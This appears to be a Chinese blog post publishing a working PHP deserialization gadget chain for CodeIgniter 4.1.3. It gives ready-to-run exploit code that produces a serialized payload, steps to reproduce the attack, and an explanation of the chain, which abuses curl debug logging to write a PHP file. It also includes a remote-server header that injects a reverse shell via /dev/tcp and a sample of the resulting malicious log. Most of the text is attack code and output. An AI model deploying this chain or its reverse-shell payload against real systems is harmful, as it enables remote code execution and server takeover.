• codeigniter 4.1.3 gadget chain


    EXP code

    找到一条很有意思的codeigniter框架的链。

    1. namespace CodeIgniter\HTTP {
    2. class CURLRequest {
    3. protected $config = [
    4. "debug" => "./eee.php"
    5. ];
    6. }
    7. }
    8. namespace CodeIgniter\Session\Handlers {
    9. class MemcachedHandler{
    10. public function __construct($memcached, $url){
    11. $this->memcached = $memcached;
    12. $this->lockKey = $url;
    13. }
    14. }
    15. }
    16. namespace CodeIgniter\Cache\Handlers {
    17. class RedisHandler{
    18. public $redis;
    19. public function __construct($redis){
    20. $this -> redis = $redis;
    21. }
    22. }
    23. }
    24. namespace {
    25. $ip = $argv[1];
    26. $port = $argv[2];
    27. $exp = array(
    28. new \CodeIgniter\Cache\Handlers\RedisHandler(
    29. new \CodeIgniter\Session\Handlers\MemcachedHandler(
    30. new \CodeIgniter\HTTP\CURLRequest(),
    31. "http://$ip:$port/"
    32. )
    33. )
    34. );
    35. echo urlencode(serialize($exp));
    36. }

    复现

    下载最新的CodeIgniter框架,将以下代码写入app/controller/Home.php

    1. namespace App\Controllers;
    2. class Home extends BaseController
    3. {
    4. public function index()
    5. {
    6. $obj = @unserialize($_GET['obj']);
    7. var_dump($obj);
    8. return view('welcome_message');
    9. }
    10. }

    准备一个远程服务器,并填入php代码index.php。之后在index.php所在目录启动一个简单的php http服务器

    执行上述exp并复制exp的输出。

    php exp.php remote_server_ip remote_server_port

    在本地启动CodeIgniter框架,将exp的输出粘贴到obj参数中。然后,此exp将发送请求到远程服务器,并在本地写入eee.php。访问eee.php将执行phpinfo。

    漏洞原理

    新gadget的起始向量仍然是CodeIgniter\Cache\Handlers\RedisHandler::__destruct方法。

    1. public function __destruct()
    2. {
    3. if (isset($this->redis))
    4. {
    5. $this->redis->close();
    6. }
    7. }

    redis设置为CodeIgniter\Session\Handlers\MemcachedHandler'类的对象,然后我们跳到CodeIgniter\Session\Handlers\MemcachedHandler::close方法。

    1. public function close(): bool
    2. {
    3. if (isset($this->memcached))
    4. {
    5. isset($this->lockKey) && $this->memcached->delete($this->lockKey);
    6. ...

    lockKey分配给一个特别准备的远程服务器ip,memcached分配给一个CodeIgniter\HTTP\CURLRequest类的对象,这个对象,在config中设置debug选项为一个php文件。

    之后我们将跳到CodeIgniter\HTTP\CURLRequest::delete方法。

    1. public function delete(string $url, array $options = []): ResponseInterface
    2. {
    3. return $this->request('delete', $url, $options);
    4. }

    这个方法将http请求发送到设置的远程服务器。并且后续的调用将设置$curlOptions[CURLOPT_STDERR]为我们之前指定的php文件。设置$curlOptions的方法是CodeIgniter\HTTP\CURLRequest::setCURLOptions

    1. protected function setCURLOptions(array $curlOptions = [], array $config = [])
    2. {
    3. ...
    4. if ($config['debug'])
    5. {
    6. $curlOptions[CURLOPT_VERBOSE] = 1;
    7. $curlOptions[CURLOPT_STDERR] = is_string($config['debug']) ? fopen($config['debug'], 'a+') : fopen('php://stderr', 'w');
    8. }
    9. ...
    10. }

    设置好的远程服务器将对发出的请求作出响应,并在响应头中返回一段php代码。这段php代码会被写入我们指定的curl日志文件中,也就是那个php文件。

    远程服务器上的index.php。

    1. header("X-Powered-By: & /dev/tcp/ip/port 0>&1\"');?>");

    恶意的curl日志文件。

    1. * Expire in 0 ms for 6 (transfer 0x???)
    2. * Trying ???...
    3. * TCP_NODELAY set
    4. * Expire in 200 ms for 4 (transfer 0x???)
    5. * Connected to ??? (???) port ??? (#0)
    6. > DELETE / HTTP/1.1
    7. Host: ???
    8. User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
    9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    10. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    11. Connection: keep-alive
    12. Upgrade-Insecure-Requests: 1
    13. Sec-Fetch-Dest: document
    14. Sec-Fetch-Mode: navigate
    15. Sec-Fetch-Site: none
    16. Sec-Fetch-User: ?1
    17. < HTTP/1.1 200 OK
    18. < Host: ???
    19. < Date: Thu, 26 Aug 2021 06:07:19 GMT
    20. < Connection: close
    21. < X-Powered-By: & /dev/tcp/ip/port 0>&1"');?>
    22. < Content-type: text/html; charset=UTF-8
    23. <
    24. * Closing connection 0

    影响

    1. 如上所示,这可能导致恶意的php文件被写入服务器,导致攻击者获取服务器权限。
    2. 当攻击者无法写入恶意文件时,他可以用gopher或ftp协议代替上述http协议来攻击内网服务。
  • 相关阅读:
    关于package和import
    python如何求两字典的公共区域
    计算机网络——物理层(​ 物理层下面的传输媒体)
    Android入门第31天-Android里的ViewFlipper翻转视图的使用
    NOI2022游记
    python-(6-3-2)爬虫---requests入门(基于post请求)
    使用easypoi-spring-boot-starter 4.1.1导入excel报错NoSuchMethodError和NoSuchMethodError
    外卖小程序开发指南:打造完美的点餐体验
    QDir实践
    河北省图书馆典藏《乡村振兴振兴战略下传统村落文化旅游设计》许少辉八一新著
  • 原文地址:https://blog.csdn.net/why811/article/details/133860460